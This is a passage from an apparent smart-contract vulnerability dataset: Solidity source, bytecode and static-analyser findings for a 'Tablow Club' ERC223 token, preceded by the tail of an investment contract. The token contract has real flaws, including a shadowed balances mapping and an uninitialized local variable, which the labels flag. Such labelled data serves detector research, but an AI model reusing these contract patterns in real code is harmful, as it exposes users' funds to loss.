totalFunds, uint256 pendingReward, uint256 totalProfit,uint _yourProcent) { InvestorData memory data = investors[investor]; totalFunds = data.funds; _yourProcent = p; if (data.funds > 0) pendingReward = data.funds.mul(p).div(d).mul(block.timestamp - data.lastDatetime).div(30 days); totalProfit = data.totalProfit; } }
0x
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
566
0x55dd6348b0f97ba5417cc3c3d9d98c36e14b7d44
pragma solidity ^0.4.18; /** * Math operations with safety checks */ library SafeMath { function mul(uint a, uint b) internal returns (uint) { uint c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint a, uint b) internal returns (uint) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint a, uint b) internal returns (uint) { assert(b <= a); return a - b; } function add(uint a, uint b) internal returns (uint) { uint c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } function assert(bool assertion) internal { if (!assertion) { throw; } } } contract ERC223ReceivingContract { /** * @dev Standard ERC223 function that will handle incoming token transfers. * * @param _from Token sender address. * @param _value Amount of tokens. * @param _data Transaction metadata. */ function tokenFallback(address _from, uint _value, bytes _data); } contract ERC223Interface { function balanceOf(address who) constant returns (uint); function transfer(address to, uint value); function transfer(address to, uint value, bytes data); event Transfer(address indexed from, address indexed to, uint value, bytes data); } contract ERC223Token is ERC223Interface { using SafeMath for uint; mapping(address => uint) balances; // List of user balances. /** * @dev Transfer the specified amount of tokens to the specified address. * Invokes the `tokenFallback` function if the recipient is a contract. * The token transfer fails if the recipient is a contract * but does not implement the `tokenFallback` function * or the fallback function to receive funds. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. * @param _data Transaction metadata. */ function transfer(address _to, uint _value, bytes _data) { // Standard function transfer similar to ERC20 transfer with no _data . // Added due to backwards compatibility reasons . uint codeLength; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, _data); } Transfer(msg.sender, _to, _value, _data); } /** * @dev Transfer the specified amount of tokens to the specified address. * This function works the same with the previous one * but doesn&#39;t contain `_data` param. * Added due to backwards compatibility reasons. * * @param _to Receiver address. * @param _value Amount of tokens that will be transferred. */ function transfer(address _to, uint _value) { uint codeLength; bytes memory empty; assembly { // Retrieve the size of the code on target address, this needs assembly . codeLength := extcodesize(_to) } balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); if(codeLength>0) { ERC223ReceivingContract receiver = ERC223ReceivingContract(_to); receiver.tokenFallback(msg.sender, _value, empty); } Transfer(msg.sender, _to, _value, empty); } /** * @dev Returns balance of the `_owner`. * * @param _owner The address whose balance will be returned. * @return balance Balance of the `_owner`. */ function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } } contract Tablow is ERC223Token { string public symbol = "TC"; string public name = "Tablow Club"; uint8 public constant decimals = 18; uint256 _totalSupply = 0; uint256 _MaxDistribPublicSupply = 0; uint256 _OwnerDistribSupply = 0; uint256 _CurrentDistribPublicSupply = 0; uint256 _FreeTokens = 0; uint256 _Multiplier1 = 2; uint256 _Multiplier2 = 3; uint256 _LimitMultiplier1 = 4e15; uint256 _LimitMultiplier2 = 8e15; uint256 _HighDonateLimit = 5e16; uint256 _BonusTokensPerETHdonated = 0; address _DistribFundsReceiverAddress = 0; address _remainingTokensReceiverAddress = 0; address owner = 0; bool setupDone = false; bool IsDistribRunning = false; bool DistribStarted = false; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Burn(address indexed _owner, uint256 _value); mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; mapping(address => bool) public Claimed; modifier onlyOwner() { require(msg.sender == owner); _; } function Tablow() public { owner = msg.sender; } function() public payable { if (IsDistribRunning) { uint256 _amount; if (((_CurrentDistribPublicSupply + _amount) > _MaxDistribPublicSupply) && _MaxDistribPublicSupply > 0) revert(); if (!_DistribFundsReceiverAddress.send(msg.value)) revert(); if (Claimed[msg.sender] == false) { _amount = _FreeTokens * 1e18; _CurrentDistribPublicSupply += _amount; balances[msg.sender] += _amount; _totalSupply += _amount; Transfer(this, msg.sender, _amount); Claimed[msg.sender] = true; } require(msg.value <= _HighDonateLimit); if (msg.value >= 1e15) { if (msg.value >= _LimitMultiplier2) { _amount = msg.value * _BonusTokensPerETHdonated * _Multiplier2; } else { if (msg.value >= _LimitMultiplier1) { _amount = msg.value * _BonusTokensPerETHdonated * _Multiplier1; } else { _amount = msg.value * _BonusTokensPerETHdonated; } } _CurrentDistribPublicSupply += _amount; balances[msg.sender] += _amount; _totalSupply += _amount; Transfer(this, msg.sender, _amount); } } else { revert(); } } function SetupToken(string tokenName, string tokenSymbol, uint256 BonusTokensPerETHdonated, uint256 MaxDistribPublicSupply, uint256 OwnerDistribSupply, address remainingTokensReceiverAddress, address DistribFundsReceiverAddress, uint256 FreeTokens) public { if (msg.sender == owner && !setupDone) { symbol = tokenSymbol; name = tokenName; _FreeTokens = FreeTokens; _BonusTokensPerETHdonated = BonusTokensPerETHdonated; _MaxDistribPublicSupply = MaxDistribPublicSupply * 1e18; if (OwnerDistribSupply > 0) { _OwnerDistribSupply = OwnerDistribSupply * 1e18; _totalSupply = _OwnerDistribSupply; balances[owner] = _totalSupply; _CurrentDistribPublicSupply += _totalSupply; Transfer(this, owner, _totalSupply); } _DistribFundsReceiverAddress = DistribFundsReceiverAddress; if (_DistribFundsReceiverAddress == 0) _DistribFundsReceiverAddress = owner; _remainingTokensReceiverAddress = remainingTokensReceiverAddress; setupDone = true; } } function SetupMultipliers(uint256 Multiplier1inX, uint256 Multiplier2inX, uint256 LimitMultiplier1inWei, uint256 LimitMultiplier2inWei, uint256 HighDonateLimitInWei) onlyOwner public { _Multiplier1 = Multiplier1inX; _Multiplier2 = Multiplier2inX; _LimitMultiplier1 = LimitMultiplier1inWei; _LimitMultiplier2 = LimitMultiplier2inWei; _HighDonateLimit = HighDonateLimitInWei; } function SetBonus(uint256 BonusTokensPerETHdonated) onlyOwner public { _BonusTokensPerETHdonated = BonusTokensPerETHdonated; } function SetFreeTokens(uint256 FreeTokens) onlyOwner public { _FreeTokens = FreeTokens; } function StartDistrib() public returns(bool success) { if (msg.sender == owner && !DistribStarted && setupDone) { DistribStarted = true; IsDistribRunning = true; } else { revert(); } return true; } function StopDistrib() public returns(bool success) { if (msg.sender == owner && IsDistribRunning) { if (_remainingTokensReceiverAddress != 0 && _MaxDistribPublicSupply > 0) { uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply; if (_remainingAmount > 0) { balances[_remainingTokensReceiverAddress] += _remainingAmount; _totalSupply += _remainingAmount; Transfer(this, _remainingTokensReceiverAddress, _remainingAmount); } } DistribStarted = false; IsDistribRunning = false; } else { revert(); } return true; } function distribution(address[] addresses, uint256 _amount) onlyOwner public { uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply; require(addresses.length <= 255); require(_amount <= _remainingAmount); _amount = _amount * 1e18; for (uint i = 0; i < addresses.length; i++) { require(_amount <= _remainingAmount); _CurrentDistribPublicSupply += _amount; balances[addresses[i]] += _amount; _totalSupply += _amount; Transfer(this, addresses[i], _amount); } if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) { DistribStarted = false; IsDistribRunning = false; } } function distributeAmounts(address[] addresses, uint256[] amounts) onlyOwner public { uint256 _remainingAmount = _MaxDistribPublicSupply - _CurrentDistribPublicSupply; uint256 _amount; require(addresses.length <= 255); require(addresses.length == amounts.length); for (uint8 i = 0; i < addresses.length; i++) { _amount = amounts[i] * 1e18; require(_amount <= _remainingAmount); _CurrentDistribPublicSupply += _amount; balances[addresses[i]] += _amount; _totalSupply += _amount; Transfer(this, addresses[i], _amount); if (_CurrentDistribPublicSupply >= _MaxDistribPublicSupply) { DistribStarted = false; IsDistribRunning = false; } } } function BurnTokens(uint256 amount) public returns(bool success) { uint256 _amount = amount * 1e18; if (balances[msg.sender] >= _amount) { balances[msg.sender] -= _amount; _totalSupply -= _amount; Burn(msg.sender, _amount); Transfer(msg.sender, 0, _amount); } else { revert(); } return true; } function totalSupply() public constant returns(uint256 totalSupplyValue) { return _totalSupply; } function MaxDistribPublicSupply_() public constant returns(uint256 MaxDistribPublicSupply) { return _MaxDistribPublicSupply; } function OwnerDistribSupply_() public constant returns(uint256 OwnerDistribSupply) { return _OwnerDistribSupply; } function CurrentDistribPublicSupply_() public constant returns(uint256 CurrentDistribPublicSupply) { return _CurrentDistribPublicSupply; } function RemainingTokensReceiverAddress() public constant returns(address remainingTokensReceiverAddress) { return _remainingTokensReceiverAddress; } function DistribFundsReceiverAddress() public constant returns(address DistribfundsReceiver) { return _DistribFundsReceiverAddress; } function Owner() public constant returns(address ownerAddress) { return owner; } function SetupDone() public constant returns(bool setupDoneFlag) { return setupDone; } function IsDistribRunningFalg_() public constant returns(bool IsDistribRunningFalg) { return IsDistribRunning; } function IsDistribStarted() public constant returns(bool IsDistribStartedFlag) { return DistribStarted; } function balanceOf(address _owner) public constant returns(uint256 balance) { return balances[_owner]; } function transferFrom( address _from, address _to, uint256 _amount ) public returns(bool success) { if (balances[_from] >= _amount && allowed[_from][msg.sender] >= _amount && _amount > 0 && balances[_to] + _amount > balances[_to]) { balances[_from] -= _amount; allowed[_from][msg.sender] -= _amount; balances[_to] += _amount; Transfer(_from, _to, _amount); return true; } else { return false; } } function approve(address _spender, uint256 _amount) public returns(bool success) { allowed[msg.sender][_spender] = _amount; Approval(msg.sender, _spender, _amount); return true; } function allowance(address _owner, address _spender) public constant returns(uint256 remaining) { return allowed[_owner][_spender]; } }
0x606060405260043610610175576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146104e2578063095ea7b31461057057806310eca945146105ca57806318160ddd1461061157806318d69faa1461063a5780631d1cc622146106675780632092970f1461069057806323b872dd146106bd5780632cd3fd7014610736578063313ce567146107715780634d9a81d4146107a057806370a08231146107cd57806374c77b521461081a57806380ea82731461091c57806390c6d1b91461093f57806395d89b4114610962578063a8c310d5146109f0578063a9059cbb14610a8a578063accbdfd014610acc578063b449c24d14610af9578063b4a99a4e14610b4a578063be45fd6214610b9f578063becf917f14610c24578063c21bbe5614610c79578063c52cb00314610ca6578063d21ceba014610ccf578063d8489a8114610d24578063dd62ed3e14610d4d578063f3e4877c14610db9575b6000601060159054906101000a900460ff16156104da5760045481600654011180156101a357506000600454115b156101ad57600080fd5b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561020f57600080fd5b60001515601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156103a257670de0b6b3a76400006007540290508060066000828254019250508190555080601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806003600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a36001601360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600c5434111515156103b357600080fd5b66038d7ea4c68000341015156104d557600b54341015156103de57600954600d543402029050610402565b600a54341015156103f957600854600d543402029050610401565b600d54340290505b5b8060066000828254019250508190555080601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540192505081905550806003600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b6104df565b600080fd5b50005b34156104ed57600080fd5b6104f5610e1c565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561053557808201518184015260208101905061051a565b50505050905090810190601f1680156105625780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561057b57600080fd5b6105b0600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610eba565b604051808215151515815260200191505060405180910390f35b34156105d557600080fd5b61060f6004808035906020019091908035906020019091908035906020019091908035906020019091908035906020019091905050610fac565b005b341561061c57600080fd5b610624611032565b6040518082815260200191505060405180910390f35b341561064557600080fd5b61064d61103c565b604051808215151515815260200191505060405180910390f35b341561067257600080fd5b61067a61125f565b6040518082815260200191505060405180910390f35b341561069b57600080fd5b6106a3611269565b604051808215151515815260200191505060405180910390f35b34156106c857600080fd5b61071c600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611339565b604051808215151515815260200191505060405180910390f35b341561074157600080fd5b6107576004808035906020019091905050611640565b604051808215151515815260200191505060405180910390f35b341561077c57600080fd5b6107846117a7565b604051808260ff1660ff16815260200191505060405180910390f35b34156107ab57600080fd5b6107b36117ac565b604051808215151515815260200191505060405180910390f35b34156107d857600080fd5b610804600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506117c3565b6040518082815260200191505060405180910390f35b341561082557600080fd5b61091a600480803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509190803590602001909190803590602001909190803590602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061180c565b005b341561092757600080fd5b61093d6004808035906020019091905050611b3c565b005b341561094a57600080fd5b6109606004808035906020019091905050611ba2565b005b341561096d57600080fd5b610975611c08565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156109b557808201518184015260208101905061099a565b50505050905090810190601f1680156109e25780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156109fb57600080fd5b610a8860048080359060200190820180359060200190808060200260200160405190810160405280939291908181526020018383602002808284378201915050505050509190803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091905050611ca6565b005b3415610a9557600080fd5b610aca600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611ed6565b005b3415610ad757600080fd5b610adf612215565b604051808215151515815260200191505060405180910390f35b3415610b0457600080fd5b610b30600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061222c565b604051808215151515815260200191505060405180910390f35b3415610b5557600080fd5b610b5d61224c565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610baa57600080fd5b610c22600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091905050612276565b005b3415610c2f57600080fd5b610c376125ac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610c8457600080fd5b610c8c6125d6565b604051808215151515815260200191505060405180910390f35b3415610cb157600080fd5b610cb96125ed565b6040518082815260200191505060405180910390f35b3415610cda57600080fd5b610ce26125f7565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3415610d2f57600080fd5b610d37612621565b6040518082815260200191505060405180910390f35b3415610d5857600080fd5b610da3600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061262b565b6040518082815260200191505060405180910390f35b3415610dc457600080fd5b610e1a6004808035906020019082018035906020019080806020026020016040519081016040528093929190818152602001838360200280828437820191505050505050919080359060200190919050506126b2565b005b60028054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610eb25780601f10610e8757610100808354040283529160200191610eb2565b820191906000526020600020905b815481529060010190602001808311610e9557829003601f168201915b505050505081565b600081601260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561100857600080fd5b846008819055508360098190555082600a8190555081600b8190555080600c819055505050505050565b6000600354905090565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156110a85750601060159054906101000a900460ff165b15611252576000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16141580156110f857506000600454115b15611217576006546004540390506000811115611216578060116000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555080600360008282540192505081905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35b5b6000601060166101000a81548160ff0219169083151502179055506000601060156101000a81548160ff021916908315150217905550611257565b600080fd5b600191505090565b6000600654905090565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156112d55750601060169054906101000a900460ff16155b80156112ed5750601060149054906101000a900460ff165b1561132d576001601060166101000a81548160ff0219169083151502179055506001601060156101000a81548160ff021916908315150217905550611332565b600080fd5b6001905090565b600081601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410158015611406575081601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410155b80156114125750600082115b801561149d5750601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205401115b156116345781601160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254039250508190555081601160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a360019050611639565b600090505b9392505050565b600080670de0b6b3a76400008302905080601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015156117985780601160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282540392505081905550806003600082825403925050819055503373ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5826040518082815260200191505060405180910390a260003373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a361179d565b600080fd5b6001915050919050565b601281565b6000601060169054906101000a900460ff16905090565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480156118765750601060149054906101000a900460ff16155b15611b32578660019080519060200190611891929190612901565b5087600290805190602001906118a8929190612901565b508060078190555085600d81905550670de0b6b3a7640000850260048190555060008411156119ef57670de0b6b3a7640000840260058190555060055460038190555060035460116000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600354600660008282540192505081905550601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6003546040518082815260200191505060405180910390a35b81600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611ad557601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b82600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506001601060146101000a81548160ff0219169083151502179055505b5050505050505050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611b9857600080fd5b80600d8190555050565b601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611bfe57600080fd5b8060078190555050565b60018054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015611c9e5780601f10611c7357610100808354040283529160200191611c9e565b820191906000526020600020905b815481529060010190602001808311611c8157829003601f168201915b505050505081565b6000806000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611d0757600080fd5b60065460045403925060ff855111151515611d2157600080fd5b83518551141515611d3157600080fd5b600090505b84518160ff161015611ecf57670de0b6b3a7640000848260ff16815181101515611d5c57fe5b90602001906020020151029150828211151515611d7857600080fd5b816006600082825401925050819055508160116000878460ff16815181101515611d9e57fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254019250508190555081600360008282540192505081905550848160ff16815181101515611e1057fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600454600654101515611ec2576000601060166101000a81548160ff0219169083151502179055506000601060156101000a81548160ff0219169083151502179055505b8080600101915050611d36565b5050505050565b6000611ee0612981565b6000843b9250611f37846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128bb90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fca846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600083111561213c578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b838110156120da5780820151818401526020810190506120bf565b50505050905090810190601f1680156121075780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b151561212757600080fd5b6102c65a03f1151561213857600080fd5b5050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686856040518083815260200180602001828103825283818151815260200191508051906020019080838360005b838110156121d35780820151818401526020810190506121b8565b50505050905090810190601f1680156122005780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505050565b6000601060159054906101000a900460ff16905090565b60136020528060005260406000206000915054906101000a900460ff1681565b6000601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080843b91506122ce846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128bb90919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612361846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546128d490919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060008211156124d3578490508073ffffffffffffffffffffffffffffffffffffffff1663c0ee0b8a3386866040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200180602001828103825283818151815260200191508051906020019080838360005b83811015612471578082015181840152602081019050612456565b50505050905090810190601f16801561249e5780820380516001836020036101000a031916815260200191505b50945050505050600060405180830381600087803b15156124be57600080fd5b6102c65a03f115156124cf57600080fd5b5050505b8473ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fe19260aff97b920c7df27010903aeb9c8d2be5d310a2c67824cf3f15396e4c1686866040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561256a57808201518184015260208101905061254f565b50505050905090810190601f1680156125975780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505050565b6000600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601060149054906101000a900460ff16905090565b6000600554905090565b6000600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600454905090565b6000601260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600080601060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561271157600080fd5b60065460045403915060ff84511115151561272b57600080fd5b81831115151561273a57600080fd5b670de0b6b3a764000083029250600090505b83518110156128715781831115151561276457600080fd5b826006600082825401925050819055508260116000868481518110151561278757fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508260036000828254019250508190555083818151811015156127f657fe5b9060200190602002015173ffffffffffffffffffffffffffffffffffffffff163073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3808060010191505061274c565b6004546006541015156128b5576000601060166101000a81548160ff0219169083151502179055506000601060156101000a81548160ff0219169083151502179055505b50505050565b60006128c9838311156128f2565b818303905092915050565b60008082840190506128e8848210156128f2565b8091505092915050565b8015156128fe57600080fd5b50565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061294257805160ff1916838001178555612970565b82800160010185558215612970579182015b8281111561296f578251825591602001919060010190612954565b5b50905061297d9190612995565b5090565b602060405190810160405280600081525090565b6129b791905b808211156129b357600081600090555060010161299b565b5090565b905600a165627a7a7230582046678bee733725f7f2cf0a1265816b59203184d1163a049fca8a594dbc7fdd8c0029
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "shadowing-state", "impact": "High", "confidence": "High"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
567
0x7db13804af21248d06a5aa68f4cac4432f1e2b95
